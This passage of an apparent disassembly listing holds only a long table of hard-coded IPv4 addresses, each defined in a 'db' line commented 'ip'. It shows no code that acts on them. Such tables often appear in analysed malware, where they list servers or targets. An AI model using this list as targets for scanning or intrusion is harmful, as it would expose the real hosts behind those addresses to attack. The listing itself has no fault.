	  db 136, 224, 2 dup(1)		; ip
	  db 136, 224, 32, 22		; ip
	  db 136, 235, 14, 3		; ip
	  db 136, 237, 60, 110		; ip
	  db 136, 242, 10, 2		; ip
	  db 136, 244, 1, 18		; ip
	  db 136, 244, 1, 6		; ip
	  db 136, 247, 10, 12		; ip
	  db 137, 1, 212, 10		; ip
	  db 137, 100, 253, 1		; ip
	  db 137, 103, 1, 4		; ip
	  db 137, 104, 128, 1		; ip
	  db 137, 108, 128, 150		; ip
	  db 137, 108, 143, 2		; ip
	  db 137, 108, 143, 3		; ip
	  db 137, 111, 1, 11		; ip
	  db 137, 111, 1, 12		; ip
	  db 137, 112, 4, 196		; ip
	  db 137, 113, 192, 101		; ip
	  db 137, 118, 1, 28		; ip
	  db 137, 118, 1, 29		; ip
	  db 137, 118, 1, 30		; ip
	  db 137, 118, 1, 31		; ip
	  db 137, 120, 2 dup(1)		; ip
	  db 137, 120, 1, 5		; ip
	  db 137, 121, 2 dup(1)		; ip
	  db 137, 121, 1, 2		; ip
	  db 137, 121, 120, 1		; ip
	  db 137, 121, 13, 2		; ip
	  db 137, 121, 157, 1		; ip
	  db 137, 121, 158, 1		; ip
	  db 137, 121, 159, 1		; ip
	  db 137, 121, 162, 1		; ip
	  db 137, 121, 22, 5		; ip
	  db 137, 121, 61, 30		; ip
	  db 137, 121, 81, 1		; ip
	  db 137, 122, 6, 10		; ip
	  db 137, 129, 1, 4		; ip
	  db 137, 129, 150, 3		; ip
	  db 137, 131, 200, 10		; ip
	  db 137, 131, 200, 9		; ip
	  db 137, 132, 123, 4		; ip
	  db 137, 132, 5, 2		; ip
	  db 137, 134, 47, 2		; ip
	  db 137, 139, 11, 254		; ip
	  db 137, 140, 1, 100		; ip
	  db 137, 140, 1, 102		; ip
	  db 137, 140, 1, 106		; ip
	  db 137, 141, 2 dup(1)		; ip
	  db 137, 141, 1, 2		; ip
	  db 137, 141, 1, 3		; ip
	  db 137, 142, 0, 1		; ip
	  db 137, 142, 18, 99		; ip
	  db 137, 145, 204, 10		; ip
	  db 137, 146, 210, 46		; ip
	  db 137, 148, 49, 11		; ip
	  db 137, 148, 5, 25		; ip
	  db 137, 149, 3, 1		; ip
	  db 137, 15, 245, 4		; ip
	  db 137, 150, 64, 1		; ip
	  db 137, 151, 2 dup(1)		; ip
	  db 137, 151, 1, 2		; ip
	  db 137, 154, 16, 20		; ip
	  db 137, 155, 12, 210		; ip
	  db 137, 155, 12, 216		; ip
	  db 137, 157, 13, 219		; ip
	  db 137, 157, 45, 205		; ip
	  db 137, 157, 58, 209		; ip
	  db 137, 158, 128, 1		; ip
	  db 137, 159, 8, 1		; ip
	  db 137, 16, 15, 101		; ip
	  db 137, 16, 15, 104		; ip
	  db 137, 165, 4, 2		; ip
	  db 137, 165, 8, 2		; ip
	  db 137, 166, 16, 1		; ip
	  db 137, 169, 18, 85		; ip
	  db 137, 169, 19, 254		; ip
	  db 137, 17, 80, 200		; ip
	  db 137, 172, 211, 9		; ip
	  db 137, 172, 248, 104		; ip
	  db 137, 174, 144, 2		; ip
	  db 137, 186, 128, 11		; ip
	  db 137, 189, 6, 1		; ip
	  db 137, 189, 6, 21		; ip
	  db 137, 190, 1, 2		; ip
	  db 137, 192, 2, 4		; ip
	  db 137, 192, 240, 3		; ip
	  db 137, 192, 240, 5		; ip
	  db 137, 193, 10, 21		; ip
	  db 137, 193, 11, 8		; ip
	  db 137, 194, 160, 1		; ip
	  db 137, 194, 160, 3		; ip
	  db 137, 194, 32, 84		; ip
	  db 137, 195, 151, 105		; ip
	  db 137, 201, 240, 18		; ip
	  db 137, 201, 240, 19		; ip
	  db 137, 203, 5, 1		; ip
	  db 137, 204, 1, 15		; ip
	  db 137, 205, 192, 11		; ip
	  db 137, 205, 192, 6		; ip
	  db 137, 208, 3, 42		; ip
	  db 137, 21, 1, 15		; ip
	  db 137, 213, 195, 214		; ip
	  db 137, 213, 2 dup(252)	; ip
	  db 137, 213, 40, 214		; ip
	  db 137, 214, 80, 1		; ip
	  db 137, 215, 101, 16		; ip
	  db 137, 216, 80, 21		; ip
	  db 137, 217, 176, 100		; ip
	  db 137, 219, 116, 13		; ip
	  db 137, 219, 16, 14		; ip
	  db 137, 22, 1, 13		; ip
	  db 137, 220, 1, 6		; ip
	  db 137, 222, 10, 36		; ip
	  db 137, 222, 10, 39		; ip
	  db 137, 224, 10, 101		; ip
	  db 137, 224, 129, 4		; ip
	  db 137, 225, 250, 3		; ip
	  db 137, 226, 112, 21		; ip
	  db 137, 226, 144, 3		; ip
	  db 137, 228, 90, 10		; ip
	  db 137, 228, 90, 11		; ip
	  db 137, 229, 10, 39		; ip
	  db 137, 229, 12, 41		; ip
	  db 137, 236, 4, 11		; ip
	  db 137, 236, 4, 7		; ip
	  db 137, 238, 1, 3		; ip
	  db 137, 24, 128, 98		; ip
	  db 137, 2 dup(240), 253	; ip
	  db 137, 240, 249, 2		; ip
	  db 137, 241, 250, 11		; ip
	  db 137, 241, 250, 21		; ip
	  db 137, 242, 1, 199		; ip
	  db 137, 244, 215, 2		; ip
	  db 137, 244, 215, 200		; ip
	  db 137, 244, 215, 3		; ip
	  db 137, 248, 1, 5		; ip
	  db 137, 248, 1, 8		; ip
	  db 137, 248, 21, 22		; ip
	  db 137, 250, 1, 254		; ip
	  db 137, 250, 111, 4		; ip
	  db 137, 251, 36, 2		; ip
	  db 137, 251, 36, 3		; ip
	  db 137, 252, 9, 11		; ip
	  db 137, 28, 1, 17		; ip
	  db 137, 28, 1, 18		; ip
	  db 137, 3, 122, 35		; ip
	  db 137, 30, 1, 254		; ip
	  db 137, 30, 1, 6		; ip
	  db 137, 33, 254, 17		; ip
	  db 137, 39, 1, 3		; ip
	  db 137, 4, 186, 1		; ip
	  db 137, 4, 186, 18		; ip
	  db 137, 4, 186, 19		; ip
	  db 137, 43, 1, 13		; ip
	  db 137, 44, 1, 20		; ip
	  db 137, 44, 1, 27		; ip
	  db 137, 44, 1, 46		; ip
	  db 137, 45, 128, 132		; ip
	  db 137, 45, 32, 100		; ip
	  db 137, 48, 1, 100		; ip
	  db 137, 48, 100, 1		; ip
	  db 137, 5, 10, 135		; ip
	  db 137, 5, 10, 247		; ip
	  db 137, 50, 2	dup(4)		; ip
	  db 137, 52, 224, 11		; ip
	  db 137, 52, 232, 11		; ip
	  db 137, 53, 1, 40		; ip
	  db 137, 53, 203, 5		; ip
	  db 137, 56, 0, 27		; ip
	  db 137, 56, 0, 40		; ip
	  db 137, 61, 237, 5		; ip
	  db 137, 65, 2	dup(1)		; ip
	  db 137, 66, 16, 1		; ip
	  db 137, 69, 2	dup(1)		; ip
	  db 137, 69, 101, 1		; ip
	  db 137, 69, 45, 12		; ip
	  db 137, 69, 53, 1		; ip
	  db 137, 73, 2, 5		; ip
	  db 137, 75, 1, 181		; ip
	  db 137, 75, 1, 182		; ip
	  db 137, 76, 6, 10		; ip
	  db 137, 81, 1, 7		; ip
	  db 137, 82, 2	dup(1)		; ip
	  db 137, 82, 28, 3		; ip
	  db 137, 9, 121, 19		; ip
	  db 137, 9, 121, 2		; ip
	  db 137, 91, 114, 1		; ip
	  db 137, 92, 2	dup(1)		; ip
	  db 137, 94, 5, 143		; ip
	  db 137, 95, 191, 111		; ip
	  db 137, 95, 191, 112		; ip
	  db 137, 99, 15, 64		; ip
	  db 137, 99, 25, 14		; ip
	  db 138, 100, 2 dup(4)		; ip
	  db 138, 100, 4, 8		; ip
	  db 138, 101, 128, 213		; ip
	  db 138, 101, 128, 223		; ip
	  db 138, 101, 190, 91		; ip
	  db 138, 101, 194, 3		; ip
	  db 138, 101, 198, 17		; ip
	  db 138, 101, 199, 12		; ip
	  db 138, 101, 206, 51		; ip
	  db 138, 101, 216, 17		; ip
	  db 138, 104, 176, 1		; ip
	  db 138, 106, 2 dup(100)	; ip
	  db 138, 107, 10, 100		; ip
	  db 138, 110, 2 dup(1)		; ip
	  db 138, 110, 1, 200		; ip
	  db 138, 112, 0, 10		; ip
	  db 138, 113, 4, 3		; ip
	  db 138, 116, 5, 2		; ip
	  db 138, 123, 12, 101		; ip
	  db 138, 123, 68, 241		; ip
	  db 138, 123, 84, 240		; ip
	  db 138, 129, 254, 6		; ip
	  db 138, 129, 254, 8		; ip
	  db 138, 13, 212, 63		; ip
	  db 138, 13, 212, 64		; ip
	  db 138, 131, 145, 25		; ip
	  db 138, 131, 145, 26		; ip
	  db 138, 132, 53, 3		; ip
	  db 138, 133, 17, 5		; ip
	  db 138, 133, 17, 7		; ip
	  db 138, 134, 101, 186		; ip
	  db 138, 134, 2, 66		; ip
	  db 138, 134, 200, 30		; ip
	  db 138, 139, 25, 110		; ip
	  db 138, 139, 25, 111		; ip
	  db 138, 139, 35, 110		; ip
	  db 138, 139, 35, 111		; ip
	  db 138, 139, 4, 5		; ip
	  db 138, 14, 234, 1		; ip
	  db 138, 141, 104, 60		; ip
	  db 138, 141, 104, 61		; ip
	  db 138, 144, 248, 3		; ip
	  db 138, 145, 2, 3		; ip
	  db 138, 145, 2 dup(3)		; ip
	  db 138, 147, 2 dup(10)	; ip
	  db 138, 15, 200, 1		; ip
	  db 138, 164, 128, 10		; ip
	  db 138, 164, 128, 15		; ip
	  db 138, 169, 2, 14		; ip
	  db 138, 178, 8, 26		; ip
	  db 138, 180, 190, 66		; ip
	  db 138, 180, 190, 67		; ip
	  db 138, 181, 21, 4		; ip
	  db 138, 181, 21, 5		; ip
	  db 138, 183, 95, 34		; ip
	  db 138, 184, 127, 34		; ip
	  db 138, 189, 120, 71		; ip
	  db 138, 189, 120, 72		; ip
	  db 138, 190, 1, 12		; ip
	  db 138, 190, 1, 202		; ip
	  db 138, 192, 20, 12		; ip
	  db 138, 194, 2 dup(10)	; ip
	  db 138, 194, 2, 8		; ip
	  db 138, 194, 30, 2		; ip
	  db 138, 195, 33, 3		; ip
	  db 138, 198, 100, 37		; ip
	  db 138, 199, 16, 1		; ip
	  db 138, 202, 192, 10		; ip
	  db 138, 210, 81, 3		; ip
	  db 138, 22, 129, 27		; ip
	  db 138, 221, 2 dup(200)	; ip
	  db 138, 221, 200, 97		; ip
	  db 138, 221, 200, 99		; ip
	  db 138, 221, 50, 12		; ip
	  db 138, 222, 152, 123		; ip
	  db 138, 23, 146, 213		; ip
	  db 138, 23, 226, 100		; ip
	  db 138, 230, 29, 137		; ip
	  db 138, 231, 110, 2		; ip
	  db 138, 231, 176, 4		; ip
	  db 138, 232, 1, 4		; ip
	  db 138, 232, 1, 5		; ip
	  db 138, 234, 4, 50		; ip
	  db 138, 236, 128, 18		; ip
	  db 138, 237, 128, 3		; ip
	  db 138, 237, 128, 7		; ip
	  db 138, 238, 156, 22		; ip
	  db 138, 239, 112, 1		; ip
	  db 138, 239, 112, 7		; ip
	  db 138, 24, 1, 2		; ip
	  db 138, 24, 1, 34		; ip
	  db 138, 245, 16, 100		; ip
	  db 138, 247, 32, 12		; ip
	  db 138, 25, 16, 1		; ip
	  db 138, 25, 16, 8		; ip
	  db 138, 250, 1, 67		; ip
	  db 138, 250, 1, 75		; ip
	  db 138, 251, 66, 4		; ip
	  db 138, 253, 31, 2		; ip
	  db 138, 253, 31, 3		; ip
	  db 138, 26, 1, 2		; ip
	  db 138, 28, 1, 2		; ip
	  db 138, 29, 1, 10		; ip
	  db 138, 37, 6, 1		; ip
	  db 138, 37, 7, 1		; ip
	  db 138, 38, 32, 3		; ip
	  db 138, 39, 7, 10		; ip
	  db 138, 39, 7, 3		; ip
	  db 138, 40, 11, 1		; ip
	  db 138, 40, 92, 2		; ip
	  db 138, 44, 72, 1		; ip
	  db 138, 47, 18, 3		; ip
	  db 138, 48, 4, 10		; ip
	  db 138, 48, 2	dup(4)		; ip
	  db 138, 49, 128, 234		; ip
	  db 138, 6, 160, 2		; ip
	  db 138, 63, 200, 15		; ip
	  db 138, 63, 200, 55		; ip
	  db 138, 64, 20, 1		; ip
	  db 138, 64, 4, 2		; ip
	  db 138, 66, 1, 5		; ip
	  db 138, 66, 200, 5		; ip
	  db 138, 67, 1, 2		; ip
	  db 138, 67, 1, 3		; ip
	  db 138, 70, 10, 27		; ip
	  db 138, 72, 10, 20		; ip
	  db 138, 72, 30, 28		; ip
	  db 138, 73, 1, 253		; ip
	  db 138, 74, 0, 12		; ip
	  db 138, 74, 0, 13		; ip
	  db 138, 75, 10, 7		; ip
	  db 138, 77, 2	dup(1)		; ip
	  db 138, 77, 1, 23		; ip
	  db 138, 77, 5, 6		; ip
	  db 138, 78, 1, 2		; ip
	  db 138, 79, 128, 10		; ip
	  db 138, 80, 128, 3		; ip
	  db 138, 86, 3, 10		; ip
	  db 138, 86, 2	dup(3)		; ip
	  db 138, 87, 110, 1		; ip
	  db 138, 87, 4, 1		; ip
	  db 138, 9, 2 dup(1)		; ip
	  db 138, 90, 1, 91		; ip
	  db 139, 1, 44, 2		; ip
	  db 139, 103, 2, 3		; ip
	  db 139, 103, 2, 5		; ip
	  db 139, 11, 2	dup(10)		; ip
	  db 139, 117, 1, 2		; ip
	  db 139, 117, 1, 4		; ip
	  db 139, 117, 8, 17		; ip
	  db 139, 121, 16, 104		; ip
	  db 139, 124, 1, 2		; ip
	  db 139, 127, 8, 123		; ip
	  db 139, 127, 8, 124		; ip
	  db 139, 128, 18, 2		; ip
	  db 139, 13, 57, 132		; ip
	  db 139, 130, 4, 5		; ip
	  db 139, 131, 100, 38		; ip
	  db 139, 132, 1, 4		; ip
	  db 139, 133, 7, 24		; ip
	  db 139, 133, 7, 28		; ip
	  db 139, 134, 2, 18		; ip
	  db 139, 134, 2 dup(2)		; ip
	  db 139, 137, 4, 1		; ip
	  db 139, 137, 4, 3		; ip
	  db 139, 14, 1, 99		; ip
	  db 139, 140, 2 dup(1)		; ip
	  db 139, 140, 14, 33		; ip
	  db 139, 141, 2 dup(1)		; ip
	  db 139, 141, 131, 4		; ip
	  db 139, 141, 199, 3		; ip
	  db 139, 141, 199, 4		; ip
	  db 139, 141, 229, 99		; ip
	  db 139, 141, 4, 126		; ip
	  db 139, 141, 5, 125		; ip
	  db 139, 142, 2 dup(2)		; ip
	  db 139, 142, 2, 3		; ip
	  db 139, 143, 5, 1		; ip
	  db 139, 143, 5, 2		; ip
	  db 139, 144, 1, 8		; ip
	  db 139, 146, 2 dup(42)	; ip
	  db 139, 152, 2 dup(1)		; ip
	  db 139, 153, 100, 7		; ip
	  db 139, 153, 13, 200		; ip
	  db 139, 163, 18, 30		; ip
	  db 139, 163, 83, 51		; ip
	  db 139, 165, 25, 51		; ip
	  db 139, 165, 32, 13		; ip
	  db 139, 165, 6, 20		; ip
	  db 139, 165, 96, 10		; ip
	  db 139, 169, 160, 2		; ip
	  db 139, 17, 1, 2		; ip
	  db 139, 17, 1, 7		; ip
	  db 139, 17, 128, 10		; ip
	  db 139, 174, 2, 5		; ip
	  db 139, 174, 2, 6		; ip
	  db 139, 175, 10, 20		; ip
	  db 139, 175, 150, 20		; ip
	  db 139, 175, 252, 16		; ip
	  db 139, 175, 55, 244		; ip
	  db 139, 177, 224, 79		; ip
	  db 139, 177, 224, 80		; ip
	  db 139, 179, 10, 13		; ip
	  db 139, 18, 1, 2		; ip
	  db 139, 18, 25, 3		; ip
	  db 139, 180, 170, 2		; ip
	  db 139, 180, 170, 3		; ip
	  db 139, 181, 3, 34		; ip
	  db 139, 181, 6, 25		; ip
	  db 139, 182, 2, 1		; ip
	  db 139, 182, 2, 6		; ip
	  db 139, 184, 14, 12		; ip
	  db 139, 184, 32, 27		; ip
	  db 139, 184, 42, 50		; ip
	  db 139, 19, 2	dup(1)		; ip
	  db 139, 191, 1, 146		; ip
	  db 139, 20, 64, 1		; ip
	  db 139, 20, 64, 2		; ip
	  db 139, 222, 1, 5		; ip
	  db 139, 222, 130, 1		; ip
	  db 139, 223, 2, 136		; ip
	  db 139, 223, 2, 16		; ip
	  db 139, 225, 128, 2		; ip
	  db 139, 230, 128, 5		; ip
	  db 139, 28, 60, 11		; ip
	  db 139, 3, 63, 1		; ip
	  db 139, 30, 8, 7		; ip
	  db 139, 30, 2	dup(8)		; ip
	  db 139, 47, 48, 53		; ip
	  db 139, 48, 216, 100		; ip
	  db 139, 48, 216, 99		; ip
	  db 139, 51, 191, 1		; ip
	  db 139, 51, 9, 1		; ip
	  db 139, 57, 16, 2		; ip
	  db 139, 57, 32, 10		; ip
	  db 139, 58, 230, 10		; ip
	  db 139, 59, 1, 24		; ip
	  db 139, 6, 1,	2		; ip
	  db 139, 6, 1,	66		; ip
	  db 139, 60, 210, 2		; ip
	  db 139, 62, 200, 198		; ip
	  db 139, 62, 200, 199		; ip
	  db 139, 63, 192, 5		; ip
	  db 139, 67, 8, 3		; ip
	  db 139, 69, 109, 7		; ip
	  db 139, 7, 30, 125		; ip
	  db 139, 7, 30, 126		; ip
	  db 139, 70, 2, 111		; ip
	  db 139, 72, 190, 28		; ip
	  db 139, 73, 2	dup(4)		; ip
	  db 139, 75, 2	dup(1)		; ip
	  db 139, 75, 1, 2		; ip
	  db 139, 76, 64, 6		; ip
	  db 139, 76, 64, 7		; ip
	  db 139, 78, 100, 1		; ip
	  db 139, 78, 200, 1		; ip
	  db 139, 79, 106, 3		; ip
	  db 139, 80, 64, 1		; ip
	  db 139, 82, 1, 2		; ip
	  db 139, 82, 16, 3		; ip
	  db 139, 84, 10, 210		; ip
	  db 139, 91, 2	dup(1)		; ip
	  db 139, 91, 191, 3		; ip
	  db 139, 93, 129, 3		; ip
	  db 139, 93, 129, 4		; ip
	  db 139, 95, 251, 1		; ip
	  db 140, 102, 2, 1		; ip
	  db 140, 103, 29, 3		; ip
	  db 140, 104, 2 dup(1)		; ip
	  db 140, 105, 6, 100		; ip
	  db 140, 107, 52, 11		; ip
	  db 140, 107, 88, 11		; ip
	  db 140, 107, 92, 11		; ip
	  db 140, 109, 1, 10		; ip
	  db 140, 110, 16, 1		; ip
	  db 140, 110, 4, 1		; ip
	  db 140, 110, 60, 1		; ip
	  db 140, 111, 1, 2		; ip
	  db 140, 111, 1, 20		; ip
	  db 140, 111, 95, 1		; ip
	  db 140, 112, 254, 2		; ip
	  db 140, 112, 254, 4		; ip
	  db 140, 113, 2 dup(1)		; ip
	  db 140, 114, 64, 10		; ip
	  db 140, 114, 87, 1		; ip
	  db 140, 115, 1, 31		; ip
	  db 140, 118, 31, 99		; ip
	  db 140, 119, 1, 110		; ip
	  db 140, 120, 1, 2		; ip
	  db 140, 120, 1, 21		; ip
	  db 140, 122, 65, 9		; ip
	  db 140, 123, 2, 5		; ip
	  db 140, 124, 13, 2		; ip
	  db 140, 127, 1, 2		; ip
	  db 140, 130, 81, 11		; ip
	  db 140, 132, 1, 201		; ip
	  db 140, 132, 3, 201		; ip
	  db 140, 134, 4, 1		; ip
	  db 140, 135, 18, 15		; ip
	  db 140, 136, 247, 251		; ip
	  db 140, 136, 247, 252		; ip
	  db 140, 137, 1, 8		; ip
	  db 140, 138, 2, 100		; ip
	  db 140, 138, 4, 100		; ip
	  db 2 dup(140), 58, 3		; ip
	  db 140, 141, 2 dup(2)		; ip
	  db 140, 142, 5, 13		; ip
	  db 140, 142, 2 dup(5)		; ip
	  db 140, 144, 204, 20		; ip
	  db 140, 146, 128, 40		; ip
	  db 140, 147, 2, 12		; ip
	  db 140, 148, 5, 250		; ip
	  db 140, 148, 7, 1		; ip
	  db 140, 148, 7, 172		; ip
	  db 140, 150, 93, 12		; ip
	  db 140, 153, 43, 44		; ip
	  db 140, 157, 64, 182		; ip
	  db 140, 158, 64, 199		; ip
	  db 140, 158, 64, 200		; ip
	  db 140, 159, 30, 12		; ip
	  db 140, 159, 65, 1		; ip
	  db 140, 160, 240, 12		; ip
	  db 140, 160, 242, 13		; ip
	  db 140, 161, 2 dup(2)		; ip
	  db 140, 161, 2, 8		; ip
	  db 140, 163, 9, 254		; ip
	  db 140, 164, 2 dup(1)		; ip
	  db 140, 164, 1, 2		; ip
	  db 140, 165, 2, 99		; ip
	  db 140, 169, 1, 20		; ip
	  db 140, 169, 36, 15		; ip
	  db 140, 172, 10, 9		; ip
	  db 140, 172, 254, 10		; ip
	  db 140, 172, 6, 2		; ip
	  db 140, 174, 77, 20		; ip
	  db 140, 175, 214, 11		; ip
	  db 140, 175, 214, 12		; ip
	  db 140, 175, 214, 13		; ip
	  db 140, 175, 214, 21		; ip
	  db 140, 177, 10, 12		; ip
	  db 140, 178, 33, 37		; ip
	  db 140, 178, 33, 38		; ip
	  db 140, 179, 176, 254		; ip
	  db 140, 181, 96, 11		; ip
	  db 140, 183, 83, 126		; ip
	  db 140, 184, 2 dup(1)		; ip
	  db 140, 185, 28, 45		; ip
	  db 140, 185, 28, 46		; ip
	  db 140, 186, 1, 14		; ip
	  db 140, 186, 1, 4		; ip
	  db 140, 188, 64, 153		; ip
	  db 140, 188, 64, 4		; ip
	  db 140, 190, 128, 2		; ip
	  db 140, 192, 1, 50		; ip
	  db 140, 192, 8, 250		; ip
	  db 140, 195, 2 dup(1)		; ip
	  db 140, 195, 1, 105		; ip
	  db 140, 198, 8, 15		; ip
	  db 140, 203, 7, 186		; ip
	  db 140, 203, 9, 1		; ip
	  db 140, 208, 1, 9		; ip
	  db 140, 209, 1, 5		; ip
	  db 140, 211, 10, 20		; ip
	  db 140, 220, 2 dup(1)		; ip
	  db 140, 221, 9, 6		; ip
	  db 140, 228, 10, 1		; ip
	  db 140, 230, 5, 76		; ip
	  db 140, 232, 1, 5		; ip
	  db 140, 233, 1, 4		; ip
	  db 140, 233, 2, 204		; ip
	  db 140, 234, 2 dup(1)		; ip
	  db 140, 237, 62, 10		; ip
	  db 140, 237, 62, 11		; ip
	  db 140, 239, 140, 239		; ip
	  db 140, 242, 2 dup(1)		; ip
	  db 140, 243, 102, 15		; ip
	  db 140, 243, 102, 16		; ip
	  db 140, 244, 1, 69		; ip
	  db 140, 244, 2, 34		; ip
	  db 140, 251, 155, 16		; ip
	  db 140, 251, 2, 18		; ip
	  db 140, 252, 1, 54		; ip
	  db 140, 253, 122, 8		; ip
	  db 140, 32, 132, 66		; ip
	  db 140, 76, 204, 51		; ip
	  db 140, 77, 1, 183		; ip
	  db 140, 77, 1, 32		; ip
	  db 140, 78, 2, 62		; ip
	  db 140, 78, 3, 62		; ip
	  db 140, 79, 2, 8		; ip
	  db 140, 80, 193, 130		; ip
	  db 140, 88, 128, 1		; ip
	  db 140, 90, 231, 19		; ip
	  db 140, 93, 0, 12		; ip
	  db 140, 93, 0, 15		; ip
	  db 140, 94, 82, 13		; ip
	  db 140, 94, 82, 14		; ip
	  db 140, 97, 4, 12		; ip
	  db 140, 97, 4, 13		; ip
	  db 140, 99, 0, 2		; ip
	  db 140, 99, 1, 2		; ip
	  db 141, 3 dup(1)		; ip
	  db 141, 100, 10, 20		; ip
	  db 141, 100, 15, 50		; ip
	  db 141, 104, 150, 251		; ip
	  db 141, 108, 5, 3		; ip
	  db 141, 11, 234, 67		; ip
	  db 141, 11, 234, 68		; ip
	  db 141, 112, 4, 90		; ip
	  db 141, 115, 4, 5		; ip
	  db 141, 117, 100, 1		; ip
	  db 141, 117, 100, 4		; ip
	  db 141, 12, 35, 9		; ip
	  db 141, 12, 62, 26		; ip
	  db 141, 120, 8, 2		; ip
	  db 141, 120, 8, 3		; ip
	  db 141, 122, 16, 114		; ip
	  db 141, 123, 100, 4		; ip
	  db 141, 123, 110, 4		; ip
	  db 141, 127, 2, 8		; ip
	  db 141, 129, 1, 4		; ip
	  db 141, 13, 210, 2		; ip
	  db 141, 13, 250, 2		; ip
	  db 141, 130, 250, 17		; ip
	  db 141, 131, 128, 28		; ip
	  db 141, 131, 3, 28		; ip
	  db 141, 132, 4, 2		; ip
	  db 141, 14, 128, 1		; ip
	  db 141, 140, 1, 2		; ip
	  db 141, 142, 2 dup(2)		; ip
	  db 141, 15, 3, 1		; ip
	  db 141, 150, 0, 68		; ip
	  db 141, 151, 0, 68		; ip
	  db 141, 151, 128, 68		; ip
	  db 141, 151, 153, 94		; ip
	  db 141, 154, 0, 68		; ip
	  db 141, 155, 0, 68		; ip
	  db 141, 155, 70, 35		; ip
	  db 141, 16, 244, 4		; ip
	  db 141, 161, 100, 201		; ip
	  db 141, 162, 101, 251		; ip
	  db 141, 163, 1, 250		; ip
	  db 141, 164, 100, 7		; ip
	  db 141, 164, 24, 217		; ip
	  db 141, 165, 1, 10		; ip
	  db 141, 165, 1, 9		; ip
	  db 141, 166, 188, 7		; ip
	  db 141, 167, 44, 51		; ip
	  db 141, 167, 44, 52		; ip
	  db 141, 174, 95, 5		; ip
	  db 141, 174, 95, 7		; ip
	  db 141, 176, 31, 1		; ip
	  db 141, 18, 1, 11		; ip
	  db 141, 18, 1, 12		; ip
	  db 141, 187, 33, 80		; ip
	  db 141, 19, 1, 75		; ip
	  db 141, 195, 5, 200		; ip
	  db 141, 198, 128, 9		; ip
	  db 141, 198, 136, 6		; ip
	  db 141, 199, 15, 14		; ip
	  db 141, 199, 15, 5		; ip
	  db 141, 2, 2 dup(1)		; ip
	  db 141, 2, 22, 74		; ip
	  db 141, 20, 1, 31		; ip
	  db 141, 201, 1, 3		; ip
	  db 141, 201, 1, 6		; ip
	  db 141, 202, 248, 31		; ip
	  db 141, 202, 248, 32		; ip
	  db 141, 203, 254, 12		; ip
	  db 141, 209, 1, 22		; ip
	  db 141, 21, 4, 3		; ip
	  db 141, 210, 10, 15		; ip
	  db 141, 210, 10, 25		; ip
	  db 141, 211, 125, 15		; ip
	  db 141, 211, 144, 15		; ip
	  db 141, 211, 75, 248		; ip
	  db 141, 212, 2, 69		; ip
	  db 141, 212, 2, 81		; ip
	  db 141, 214, 252, 144		; ip
	  db 141, 215, 69, 3		; ip
	  db 141, 216, 1, 3		; ip
	  db 141, 217, 1, 13		; ip
	  db 141, 217, 1, 15		; ip
	  db 141, 217, 16, 11		; ip
	  db 141, 218, 1, 100		; ip
	  db 141, 218, 1, 104		; ip
	  db 141, 219, 100, 30		; ip
	  db 141, 219, 4, 30		; ip
	  db 141, 22, 192, 32		; ip
	  db 141, 22, 192, 33		; ip
	  db 141, 224, 64, 1		; ip
	  db 141, 225, 1, 2		; ip
	  db 141, 225, 1, 5		; ip
	  db 141, 228, 4, 181		; ip
	  db 141, 232, 2 dup(1)		; ip
	  db 141, 233, 128, 1		; ip
	  db 141, 233, 159, 2		; ip
	  db 141, 238, 1, 2		; ip
	  db 141, 24, 12, 2		; ip
	  db 141, 24, 4, 1		; ip
	  db 141, 241, 10, 4		; ip
	  db 141, 241, 107, 2		; ip
	  db 141, 241, 6, 4		; ip
	  db 141, 242, 9, 100		; ip
	  db 141, 242, 9, 50		; ip
	  db 141, 244, 128, 11		; ip
	  db 141, 244, 7, 10		; ip
	  db 141, 244, 7, 11		; ip
	  db 141, 245, 40, 220		; ip
	  db 141, 246, 2, 115		; ip
	  db 141, 248, 128, 2		; ip
	  db 141, 250, 1, 5		; ip
	  db 141, 250, 1, 7		; ip
	  db 141, 252, 1, 3		; ip
	  db 141, 252, 150, 4		; ip
	  db 141, 254, 1, 11		; ip
	  db 141, 26, 64, 1		; ip
	  db 141, 26, 64, 5		; ip
	  db 141, 28, 2, 19		; ip
	  db 141, 30, 125, 8		; ip
	  db 141, 30, 66, 135		; ip
	  db 141, 31, 111, 2		; ip
	  db 141, 32, 192, 17		; ip
	  db 141, 33, 208, 16		; ip
	  db 141, 34, 1, 16		; ip
	  db 141, 35, 1, 16		; ip
	  db 141, 35, 1, 80		; ip
	  db 141, 37, 10, 107		; ip
	  db 141, 37, 218, 10		; ip
	  db 141, 38, 2, 6		; ip
	  db 141, 38, 2, 7		; ip
	  db 141, 39, 13, 2		; ip
	  db 141, 2 dup(4), 41		; ip
	  db 141, 4, 7,	1		; ip
	  db 141, 40, 10, 35		; ip
	  db 141, 41, 1, 250		; ip
	  db 141, 43, 2	dup(1)		; ip
	  db 141, 43, 44, 10		; ip
	  db 141, 43, 5, 40		; ip
	  db 141, 44, 2	dup(1)		; ip
	  db 141, 44, 1, 2		; ip
	  db 141, 45, 2	dup(1)		; ip
	  db 141, 45, 5, 100		; ip
	  db 141, 46, 8, 1		; ip
	  db 141, 46, 8, 60		; ip
	  db 141, 47, 70, 1		; ip
	  db 141, 47, 70, 40		; ip
	  db 141, 48, 3, 17		; ip
	  db 141, 48, 2	dup(3)		; ip
	  db 141, 48, 3, 51		; ip
	  db 141, 49, 193, 233		; ip
	  db 141, 5, 196, 12		; ip
	  db 141, 50, 161, 11		; ip
	  db 141, 51, 8, 3		; ip
	  db 141, 51, 8, 4		; ip
	  db 141, 53, 8, 1		; ip
	  db 141, 53, 8, 3		; ip
	  db 141, 54, 1, 3		; ip
	  db 141, 54, 100, 129		; ip
	  db 141, 55, 192, 50		; ip
	  db 141, 55, 192, 51		; ip
	  db 141, 56, 31, 2		; ip
	  db 141, 56, 31, 3		; ip
	  db 141, 57, 2	dup(1)		; ip
	  db 141, 57, 1, 6		; ip
	  db 141, 58, 231, 9		; ip
	  db 141, 6, 1,	11		; ip
	  db 141, 60, 160, 2		; ip
	  db 141, 60, 160, 5		; ip
	  db 141, 61, 1, 23		; ip
	  db 141, 61, 1, 32		; ip
	  db 141, 62, 1, 5		; ip
	  db 141, 63, 4, 10		; ip
	  db 141, 64, 3, 55		; ip
	  db 141, 64, 3, 84		; ip
	  db 141, 66, 18, 200		; ip
	  db 141, 69, 2	dup(1)		; ip
	  db 141, 7, 1,	18		; ip
	  db 141, 71, 1, 21		; ip
	  db 141, 71, 1, 22		; ip
	  db 141, 72, 3, 10		; ip
	  db 141, 72, 3, 12		; ip
	  db 141, 75, 8, 1		; ip
	  db 141, 77, 225, 37		; ip
	  db 141, 79, 128, 4		; ip
	  db 141, 80, 16, 50		; ip
